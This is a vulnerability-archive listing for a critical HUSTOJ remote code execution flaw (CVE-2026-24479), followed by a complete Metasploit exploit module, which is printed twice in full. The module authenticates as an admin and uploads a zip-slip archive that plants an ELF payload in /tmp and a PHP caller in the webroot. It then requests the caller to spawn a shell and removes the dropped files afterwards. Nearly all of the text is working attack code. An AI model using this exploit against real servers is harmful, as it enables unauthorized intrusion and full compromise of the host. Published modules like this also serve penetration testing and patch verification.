9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module demonstrates a remote code execution vulnerability in HUSTOJ. A user with administrative privileges can abuse the problemimportqduoj.php CGI script using a crafted zip file zip-slip to traverse backwards through the filesystem,...
Basic Information
ID
PACKETSTORM:221161
Published
May 15, 2026 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
'Description' => <<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
context of the webserver.
DESC
'Author' => [
'oxagast', # exploit author
'LoTuS and friends', # chinese to english translations
'ling101w' # original discovery
],
'License' => MSF_LICENSE,
'Arch' => [ARCH_X64],
'References' => [
[
'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
'/CVE-2026-24479/hustoj_problem_import_rce.rb'
],
[
'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
'6899314b33101f'
],
['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
['CVE', '2026-24479'],
['CWE', '22']
],
'Platform' => 'linux',
'Targets' => [['Auto', {} ]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DisclosureDate' => '2026-01-26'
)
)
register_options(
[
OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
]
)
end
# Authenticate as admin and return session cookies
def login(user, pass)
check = send_request_cgi(
'uri' => '/include/reinfo.js',
'method' => 'GET',
'ctype' => 'application/javascript'
)
if check.nil?
fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
else
print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
end
# try to figure out what we are running against
unless check && check.code == 200
if check && check.code == 404
print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
else
print_error('Target responded, but check did not pass!')
end
unless datastore['FORCE']
fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
end
end
unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
print_error('Target appears to be running HUSTOJ, but my be a patched version!')
unless datastore['FORCE']
print_error('Body check does not contain escapehtml function...')
fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ! Try FORCE.')
end
end
if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
else
print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
unless datastore['FORCE']
print_error('Body check does not contain pat.exec function')
fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version! Try FORCE.')
end
end
send_request_cgi(
'method' => 'POST',
'uri' => '/login.php',
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'user_id' => user,
'password' => Digest::MD5.hexdigest(pass)
}
)
# Check if login was successful
res = send_request_cgi(
'method' => 'GET',
'uri' => '/modifypage.php',
'keep_cookies' => true
)
# we check for userinfo.php because it doesn't exist if our login fails
unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
end
stars = '*' * pass.length
print_good("Logged in successfully! #{user}:#{stars}")
# Check if the account has admin privileges
res = send_request_cgi(
'method' => 'GET',
'uri' => '/admin/menu2.php',
'keep_cookies' => true
)
unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
end
return true
end
# Upload the malicious zip payload using the admin session
def upload_payload(zip_dat, _rand_tag, dds)
zip_size_kb = (zip_dat.length / 1024.0).round(2)
print_status("Uploading the payload... #{zip_size_kb}kb")
form_data = Rex::MIME::Message.new
# it is ncessary for the MIME type to be application/octet-stream instead of application/zip
# for this to work when using Rex::MIME::Message, otherwise no POST req is ever made. Not
# entirely sure what causes this.
form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
end
end
# Trigger the uploaded PHP shell to execute the payload
def trigger_sploit(rand_tag)
print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
trig = send_request_raw(
{
'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
'method' => 'GET'
}
)
if trig && trig.code == 200
sleep(2) # give it a moment to pop the session before we ret
return true
end
end
# Clean up dropped files after exploitation
def cleanup
super
# prevents the cleanup routine from running multiple times (reduses log noise)
send_request_raw(
{
'uri' => "/#{datastore['DROPFILE']}-cu.php",
'method' => 'GET'
}
)
print_status('Cleaning up the payload caller and shell files...')
end
# Main exploit logic
def exploit
# Authenticate, upload, and trigger the exploit!
if datastore['DROPFILE'] == 'RANDOM'
datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
end
opts = {
format: 'elf'
}
shell_gend = generate_payload_exe(opts)
unless datastore['DROPFILE'].match?(/\A\w+\z/)
fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
end
if shell_gend.empty?
fail_with(Failure::PayloadFailed, 'Payload generation failed! Try a different payload?')
end
print_good("Payload generated! #{datastore['PAYLOAD']}")
# Generate a random tag for file uniqueness
rand_tag = Rex::Text.rand_text_alpha(5)
print_status("Random payload tag #{rand_tag}")
# PHP script to call the ELF payload
shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
# PHP script to clean up dropped files
cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
"-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
# Files to include in the malicious zip (zipslip paths for traversal)
# problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
files = [
{ data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
{ data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
{ data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
{ data: '{}', fname: 'problem_1010.json' },
{ data: '', fname: 'problem_1010/1.in' },
{ data: '', fname: 'problem_1010/1.out' }
]
# Create the malicious zip archive
zip_dat = Msf::Util::EXE.to_zip(files)
fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
print_good("Zip file generated! Files: #{files.length}")
unless datastore['TRAVERSE_LIMIT'] >= 2
fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
end
unless datastore['USERNAME'] && datastore['PASSWORD']
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
end
unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
end
popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
trigger_sploit(rand_tag)
end
unless popped
fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout! Check your listener?')
end
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
'Description' => <<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
context of the webserver.
DESC
'Author' => [
'oxagast', # exploit author
'LoTuS and friends', # chinese to english translations
'ling101w' # original discovery
],
'License' => MSF_LICENSE,
'Arch' => [ARCH_X64],
'References' => [
[
'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
'/CVE-2026-24479/hustoj_problem_import_rce.rb'
],
[
'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
'6899314b33101f'
],
['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
['CVE', '2026-24479'],
['CWE', '22']
],
'Platform' => 'linux',
'Targets' => [['Auto', {} ]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DisclosureDate' => '2026-01-26'
)
)
register_options(
[
OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
]
)
end
# Authenticate as admin and return session cookies
def login(user, pass)
check = send_request_cgi(
'uri' => '/include/reinfo.js',
'method' => 'GET',
'ctype' => 'application/javascript'
)
if check.nil?
fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
else
print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
end
# try to figure out what we are running against
unless check && check.code == 200
if check && check.code == 404
print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
else
print_error('Target responded, but check did not pass!')
end
unless datastore['FORCE']
fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
end
end
unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
print_error('Target appears to be running HUSTOJ, but my be a patched version!')
unless datastore['FORCE']
print_error('Body check does not contain escapehtml function...')
fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ! Try FORCE.')
end
end
if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
else
print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
unless datastore['FORCE']
print_error('Body check does not contain pat.exec function')
fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version! Try FORCE.')
end
end
send_request_cgi(
'method' => 'POST',
'uri' => '/login.php',
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'user_id' => user,
'password' => Digest::MD5.hexdigest(pass)
}
)
# Check if login was successful
res = send_request_cgi(
'method' => 'GET',
'uri' => '/modifypage.php',
'keep_cookies' => true
)
# we check for userinfo.php because it doesn't exist if our login fails
unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
end
stars = '*' * pass.length
print_good("Logged in successfully! #{user}:#{stars}")
# Check if the account has admin privileges
res = send_request_cgi(
'method' => 'GET',
'uri' => '/admin/menu2.php',
'keep_cookies' => true
)
unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
end
return true
end
# Upload the malicious zip payload using the admin session
def upload_payload(zip_dat, _rand_tag, dds)
zip_size_kb = (zip_dat.length / 1024.0).round(2)
print_status("Uploading the payload... #{zip_size_kb}kb")
form_data = Rex::MIME::Message.new
# it is ncessary for the MIME type to be application/octet-stream instead of application/zip
# for this to work when using Rex::MIME::Message, otherwise no POST req is ever made. Not
# entirely sure what causes this.
form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
end
end
# Trigger the uploaded PHP shell to execute the payload
def trigger_sploit(rand_tag)
print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
trig = send_request_raw(
{
'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
'method' => 'GET'
}
)
if trig && trig.code == 200
sleep(2) # give it a moment to pop the session before we ret
return true
end
end
# Clean up dropped files after exploitation
def cleanup
super
# prevents the cleanup routine from running multiple times (reduses log noise)
send_request_raw(
{
'uri' => "/#{datastore['DROPFILE']}-cu.php",
'method' => 'GET'
}
)
print_status('Cleaning up the payload caller and shell files...')
end
# Main exploit logic
def exploit
# Authenticate, upload, and trigger the exploit!
if datastore['DROPFILE'] == 'RANDOM'
datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
end
opts = {
format: 'elf'
}
shell_gend = generate_payload_exe(opts)
unless datastore['DROPFILE'].match?(/\A\w+\z/)
fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
end
if shell_gend.empty?
fail_with(Failure::PayloadFailed, 'Payload generation failed! Try a different payload?')
end
print_good("Payload generated! #{datastore['PAYLOAD']}")
# Generate a random tag for file uniqueness
rand_tag = Rex::Text.rand_text_alpha(5)
print_status("Random payload tag #{rand_tag}")
# PHP script to call the ELF payload
shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
# PHP script to clean up dropped files
cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
"-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
# Files to include in the malicious zip (zipslip paths for traversal)
# problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
files = [
{ data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
{ data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
{ data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
{ data: '{}', fname: 'problem_1010.json' },
{ data: '', fname: 'problem_1010/1.in' },
{ data: '', fname: 'problem_1010/1.out' }
]
# Create the malicious zip archive
zip_dat = Msf::Util::EXE.to_zip(files)
fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
print_good("Zip file generated! Files: #{files.length}")
unless datastore['TRAVERSE_LIMIT'] >= 2
fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
end
unless datastore['USERNAME'] && datastore['PASSWORD']
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
end
unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
end
popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
trigger_sploit(rand_tag)
end
unless popped
fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout! Check your listener?')
end
end
end